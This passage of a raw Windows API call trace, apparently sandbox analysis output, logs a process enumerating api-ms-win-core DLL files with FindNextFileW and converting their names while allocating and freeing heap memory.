cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0041.709] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x90c288, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0041.709] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.709] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.709] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.709] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e950) returned 1 [0041.709] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e8c8) returned 1 [0041.709] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cefbc66, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cefbc66, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="api-ms-win-core-datetime-l1-1-0.dll", cAlternateFileName="")) returned 1 [0041.709] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e8c8 [0041.709] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e950 [0041.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0041.710] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x90c120, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0041.710] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.710] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.710] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.710] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e950) returned 1 [0041.710] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e8c8) returned 1 [0041.710] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cd32bf2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cd32bf2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="api-ms-win-core-debug-l1-1-0.dll", cAlternateFileName="")) returned 1 [0041.710] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e8c8 [0041.710] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e950 [0041.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0041.710] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x90c288, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0041.710] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.710] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.710] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.710] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e950) returned 1 [0041.710] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e8c8) returned 1 [0041.710] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="api-ms-win-core-delayload-l1-1-0.dll", cAlternateFileName="")) returned 1 [0041.710] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e8c8 [0041.710] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e950 [0041.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0041.710] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x90c120, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0041.710] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.710] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.710] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.710] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e950) returned 1 [0041.710] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e8c8) returned 1 [0041.710] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2ccc07d5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2ccc07d5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="api-ms-win-core-errorhandling-l1-1-0.dll", cAlternateFileName="")) returned 1 [0041.710] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e8c8 [0041.737] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e950 [0041.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0041.737] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x90c288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0041.738] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.738] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.738] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.738] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e950) returned 1 [0041.738] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e8c8) returned 1 [0041.738] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cd7eeb0, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cd7eeb0, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="api-ms-win-core-fibers-l1-1-0.dll", cAlternateFileName="")) returned 1 [0041.738] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e8c8 [0041.738] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e950 [0041.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0041.738] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x90c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0041.738] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.738] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.738] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.738] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e950) returned 1 [0041.738] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e8c8) returned 1 [0041.738] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="api-ms-win-core-file-l1-1-0.dll", cAlternateFileName="")) returned 1 [0041.738] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e8c8 [0041.738] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e950 [0041.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0041.738] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x90c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0041.738] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.738] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.738] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.738] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e950) returned 1 [0041.738] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e8c8) returned 1 [0041.738] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8c9b158, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="")) returned 1 [0041.738] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e8c8 [0041.738] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e950 [0041.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0041.738] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", cchWideChar=31, lpMultiByteStr=0x90c120, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0041.739] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.739] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.739] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.739] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e950) returned 1 [0041.739] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e8c8) returned 1 [0041.739] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb859c590, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb859c590, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8c9b158, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="api-ms-win-core-file-l2-1-0.dll", cAlternateFileName="")) returned 1 [0041.739] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e8c8 [0041.739] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e950 [0041.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0041.739] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x90c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0041.739] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.739] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.739] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.739] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e950) returned 1 [0041.739] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e8c8) returned 1 [0041.739] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cfe04a0, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cfe04a0, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="api-ms-win-core-handle-l1-1-0.dll", cAlternateFileName="")) returned 1 [0041.739] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e8c8 [0041.739] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e950 [0041.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0041.739] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x90c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0041.739] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.739] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.739] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.739] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e950) returned 1 [0041.739] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e8c8) returned 1 [0041.739] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0c4cda, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0c4cda, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="api-ms-win-core-heap-l1-1-0.dll", cAlternateFileName="")) returned 1 [0041.739] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e8c8 [0041.739] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e950 [0041.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0041.739] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x90c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0041.740] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.740] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.740] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.740] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e950) returned 1 [0041.740] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e8c8) returned 1 [0041.740] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d078a1c, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d078a1c, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="api-ms-win-core-interlocked-l1-1-0.dll", cAlternateFileName="")) returned 1 [0041.740] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e8c8 [0041.740] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e950 [0041.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0041.740] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", cchWideChar=38, lpMultiByteStr=0x90c120, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 38 [0041.740] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.740] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.740] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.740] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e950) returned 1 [0041.740] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e8c8) returned 1 [0041.740] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cce6934, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cce6934, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="api-ms-win-core-io-l1-1-0.dll", cAlternateFileName="")) returned 1 [0041.740] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e8c8 [0041.740] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e950 [0041.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0041.740] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", cchWideChar=29, lpMultiByteStr=0x90c288, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 29 [0041.740] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.740] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.740] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.740] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e950) returned 1 [0041.740] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e8c8) returned 1 [0041.740] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="api-ms-win-core-libraryloader-l1-1-0.dll", cAlternateFileName="")) returned 1 [0041.740] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e8c8 [0041.740] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e950 [0041.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, 